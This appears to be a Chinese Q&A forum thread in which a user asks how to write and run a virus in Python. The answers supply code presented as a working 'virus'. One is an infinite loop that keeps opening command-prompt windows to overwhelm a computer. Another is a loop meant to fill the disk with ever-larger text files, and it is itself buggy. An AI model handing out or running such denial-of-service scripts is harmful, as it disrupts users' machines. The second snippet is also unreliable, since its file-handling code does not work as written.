怎么用python写病毒

请高人演示一下如何用python编写病毒及使其运行(step by step).本人只想了解一下病毒的作用机制并更深刻地理解python绝无它意.

第1个回答  2020-01-22
很简单,就三行
import os
while True:
os.system('start cmd')
运行的几秒钟后,你电脑满是cmd!追答

注意os.system('start cmd')要空四格

第2个回答  2021-12-27
a=1
while 1:
f=str(a)+".txt"
with open(a,"w")as f:
f.write("virus here.\n"*a)
a+=1
第3个回答  2007-05-28
又想出来祸害人间阿
相似回答